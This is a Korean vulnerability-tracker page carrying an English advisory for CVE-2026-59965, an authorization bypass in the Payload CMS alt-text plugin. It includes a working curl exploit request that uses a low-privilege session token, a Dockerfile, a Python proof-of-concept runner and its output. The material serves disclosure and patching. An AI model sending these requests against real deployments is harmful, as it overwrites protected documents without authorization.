Kestrel
대시보드로 돌아가기
CVE-2026-59965HIGH· 7.1GHSA대응게시일: 2026. 09. 10.수정일: 2026. 09. 10.

@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.1high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.17.1HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

상세 설명

Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission

Summary

@jhb.software/payload-alt-text-plugin v0.7.0 exposes custom Payload CMS endpoints (POST /api/alt-text-plugin/generate and /bulk) that call the Payload Local API (findByID and update) without setting overrideAccess: false. Because Payload's internal logic evaluates shouldOverrideAccess = overrideAccess !== false, omitting the parameter causes it to default to true, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the alt and keywords fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated High (CVSS 7.1).

Details

The plugin registers two network endpoints in alt-text/src/plugin.ts:179-186. Their default access guard (plugin.ts:55) only checks !!req.user, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.

The endpoint handler at alt-text/src/endpoints/generateAltText.ts accepts user-controlled id, collection, locale, and update fields from the request body (line 29), then passes them directly to two unsecured Local API calls:

Read bypass (generateAltText.ts:31):

text
1const imageDoc = await req.payload.findByID({
2 id,
3 collection,
4 depth: 0,
5 // overrideAccess: false is absent → defaults to true
6})

Write bypass (generateAltText.ts:121):

text
1await req.payload.update({
2 id,
3 collection,
4 data: {
5 alt: result.result.altText,
6 keywords: result.result.keywords,
7 },
8 locale: targetLocale,
9 // overrideAccess: false is absent → defaults to true
10})

The bulk endpoint (alt-text/src/endpoints/bulkGenerateAltTexts.ts) repeats the same pattern at lines 120 (read) and 170 (write).

Payload's internal resolution of overrideAccess is:

text
1shouldOverrideAccess = overrideAccess !== false
2// undefined !== false → true → collection access function is never called

Because the collection-level read and update access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.

PoC

Environment setup:

  1. Clone the repository and install @jhb.software/payload-alt-text-plugin@0.7.0 into a Payload v3 project.
  2. Configure an upload collection named media with read and update access restricted to users with role: "admin".
  3. Configure the plugin with collections: ["media"] and a resolver that returns { success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }.
  4. As an admin, create a media document (e.g., ID doc-001) with alt = "original safe alt text".
  5. Obtain a session token for a non-admin user (role: "user").

Build and run the dynamic PoC (Docker):

bash
1# Build
2docker build -t vuln001-poc -f vuln-001/Dockerfile .
3
4# Run
5docker run --rm vuln001-poc

Exploit request:

bash
1curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
2 -H "Content-Type: application/json" \
3 -X POST http://localhost:3000/api/alt-text-plugin/generate \
4 --data '{"collection":"media","id":"doc-001","locale":"en","update":true}'

Expected result:

  • HTTP 200 is returned.
  • The response body contains "altText": "PWNED_BY_EXPLOIT".
  • A subsequent admin read of media/doc-001 confirms alt = "PWNED_BY_EXPLOIT" and keywords = ["hacked", "bypass"], despite the collection's update access being restricted to admins.

Control verification (confirms the bypass is real, not a misconfiguration):

A direct Local API call with overrideAccess: false by the same non-admin user throws AccessError: update denied for collection "media" (user role: user), proving that the access rule is correct and the plugin endpoint is the vector.

Dynamic reproduction output (Phase 2 confirmed):

text
1VULN-001: Alt Text endpoint authorization bypass
2 Payload Local API overrideAccess omission in
3 generateAltText.ts:31 and :121
4
5[Step 1] Control: non-admin direct update with overrideAccess:false
6 PASS: access correctly denied → AccessError
7
8[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate
9 HTTP status : 200
10 Response : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}
11
12VULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL

Impact

This is an Incorrect Authorization vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:

  1. Read the content of arbitrary upload documents that collection access rules would otherwise deny them.
  2. Overwrite the alt text and keywords fields on those documents, effectively performing unauthorized content modification.

Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.

Reproduction artifacts

Dockerfile
bash
1# Dockerfile for VULN-001 dynamic reproduction
2#
3# Build context: the parent directory that contains both
4# repo/ (jhb-software/payload-plugins clone)
5# vuln-001/ (this workspace)
6#
7# Build: docker build -t vuln001-poc -f vuln-001/Dockerfile .
8# Run: docker run --rm vuln001-poc
9
10FROM node:22-slim
11
12WORKDIR /app
13
14# ---- Copy plugin source files required by the PoC ----
15# Only the endpoint under test and its direct dependencies are needed.
16# No Payload framework install required: we mock it in the PoC.
17
18COPY repo/alt-text/src/endpoints/generateAltText.ts ./plugin/src/endpoints/generateAltText.ts
19COPY repo/alt-text/src/endpoints/schemas.ts ./plugin/src/endpoints/schemas.ts
20COPY repo/alt-text/src/utilities/mimeTypes.ts ./plugin/src/utilities/mimeTypes.ts
21COPY repo/alt-text/src/types/AltTextPluginConfig.ts ./plugin/src/types/AltTextPluginConfig.ts
22COPY repo/alt-text/src/resolvers/types.ts ./plugin/src/resolvers/types.ts
23
24# ---- Copy PoC files ----
25COPY vuln-001/package_inner.json ./package.json
26COPY vuln-001/inner_poc.ts ./inner_poc.ts
27
28# ---- Install minimal runtime dependencies ----
29# zod: schema validation used by the endpoint handler
30# tsx: TypeScript executor that handles .js→.ts extension mapping
31RUN npm install --no-audit --no-fund
32
33# ---- Run the PoC ----
34CMD ["node_modules/.bin/tsx", "inner_poc.ts"]
poc.py
sql
1#!/usr/bin/env python3
2"""
3poc.py — VULN-001 Dynamic Reproduction Orchestrator
4
5Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0
6Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission
7CWE: CWE-863 (Incorrect Authorization)
8
9This script:
10 1. Builds a Docker image containing the real plugin endpoint source.
11 2. Runs the container, which calls the endpoint handler with a non-admin user.
12 3. Captures stdout/stderr as evidence.
13 4. Writes the result to phase2_result.json.
14
15Usage:
16 python3 poc.py
17
18Safety:
19 - All traffic stays on 127.0.0.1 / localhost inside Docker.
20 - No external services are contacted.
21 - No live credentials are used.
22"""
23
24import json
25import os
26import subprocess
27import sys
28
29# ---------------------------------------------------------------------------
30# Paths
31# ---------------------------------------------------------------------------
32
33THIS_DIR = os.path.dirname(os.path.abspath(__file__))
34# Build context: parent directory that contains both repo/ and vuln-001/
35BUILD_CONTEXT = os.path.dirname(THIS_DIR)
36DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile")
37IMAGE_TAG = "vuln001-poc"
38RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")
39
40BUILD_COMMAND = f"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile ."
41RUN_COMMAND = f"docker run --rm {IMAGE_TAG}"
42POC_COMMAND = f"python3 poc.py"
43
44
45def run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]:
46 """Run a subprocess and return (returncode, stdout, stderr)."""
47 result = subprocess.run(
48 cmd,
49 cwd=cwd,
50 capture_output=True,
51 text=True,
52 timeout=timeout,
53 )
54 return result.returncode, result.stdout, result.stderr
55
56
57def write_result(passed: bool, verdict: str, reason: str, evidence: str,
58 build_out: str = "", run_out: str = "", failure_detail: str = "") -> None:
59 """Write phase2_result.json."""
60 data: dict = {
61 "passed": passed,
62 "verdict": verdict,
63 "reason": reason,
64 "build_command": BUILD_COMMAND,
65 "run_command": RUN_COMMAND,
66 "poc_command": POC_COMMAND,
67 "evidence": evidence,
68 "artifacts": ["Dockerfile", "poc.py"],
69 }
70 if failure_detail:
71 data["failure_detail"] = failure_detail
72 if build_out:
73 data["build_output_tail"] = build_out[-2000:]
74 if run_out:
75 data["run_output"] = run_out
76 with open(RESULT_FILE, "w", encoding="utf-8") as fh:
77 json.dump(data, fh, indent=2, ensure_ascii=False)
78 print(f"\nResult written to: {RESULT_FILE}")
79
80
81def main() -> int:
82 # -----------------------------------------------------------------------
83 # Step 1: Build the Docker image
84 # -----------------------------------------------------------------------
85 print("=" * 60)
86 print("VULN-001 Dynamic Reproduction")
87 print("=" * 60)
88 print()
89 print(f"[1/2] Building Docker image: {IMAGE_TAG}")
90 print(f" Context : {BUILD_CONTEXT}")
91 print(f" Command : {BUILD_COMMAND}")
92 print()
93
94 rc, build_stdout, build_stderr = run(
95 ["docker", "build", "-t", IMAGE_TAG, "-f", "vuln-001/Dockerfile", "."],
96 cwd=BUILD_CONTEXT,
97 )
98
99 combined_build = (build_stdout + build_stderr).strip()
100 if rc != 0:
101 print("ERROR: Docker build failed.")
102 print(combined_build[-3000:])
103 write_result(
104 passed=False,
105 verdict="FAIL",
106 reason="Docker 빌드 실패 — npm install 또는 파일 복사 오류",
107 evidence="",
108 build_out=combined_build,
109 failure_detail=f"docker build exit code {rc}:\n{combined_build[-2000:]}",
110 )
111 return 1
112
113 print(" Build succeeded.")
114 print()
115
116 # -----------------------------------------------------------------------
117 # Step 2: Run the PoC container
118 # -----------------------------------------------------------------------
119 print(f"[2/2] Running PoC container")
120 print(f" Command : {RUN_COMMAND}")
121 print()
122
123 rc, run_stdout, run_stderr = run(
124 ["docker", "run", "--rm", IMAGE_TAG],
125 cwd=BUILD_CONTEXT,
126 )
127
128 combined_run = (run_stdout + run_stderr).strip()
129 print(combined_run)
130 print()
131
132 # -----------------------------------------------------------------------
133 # Step 3: Evaluate the output
134 # -----------------------------------------------------------------------
135 success_marker = "VULNERABILITY CONFIRMED"
136 pwned_marker = "PWNED_BY_EXPLOIT"
137
138 if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:
139 # Extract the key evidence block
140 lines = combined_run.splitlines()
141 evidence_lines = []
142 in_block = False
143 for line in lines:
144 if success_marker in line or pwned_marker in line or "EXPLOITATION" in line:
145 in_block = True
146 if in_block:
147 evidence_lines.append(line)
148 if in_block and line.startswith("→"):
149 break
150 evidence = "\n".join(evidence_lines) if evidence_lines else combined_run[-1500:]
151
152 write_result(
153 passed=True,
154 verdict="PASS",
155 reason=(
156 "비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 "
157 "admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. "
158 "generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 "
159 "Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 "
160 "컬렉션 레벨 access 함수가 우회됨. "
161 "직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공."
162 ),
163 evidence=evidence,
164 run_out=combined_run,
165 )
166 print("PASS — vulnerability dynamically confirmed.")
167 return 0
168
169 else:
170 print("FAIL — success marker not found or container exited non-zero.")
171 write_result(
172 passed=False,
173 verdict="FAIL" if rc != 0 else "INCOMPLETE",
174 reason=(
175 f"컨테이너 종료 코드 {rc}. "
176 "성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. "
177 "로그를 확인하여 원인 파악 필요."
178 ),
179 evidence=combined_run[-2000:],
180 run_out=combined_run,
181 failure_detail=f"Container exit code: {rc}\nstdout+stderr:\n{combined_run}",
182 )
183 return 1
184
185
186if __name__ == "__main__":
187 sys.exit(main())

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.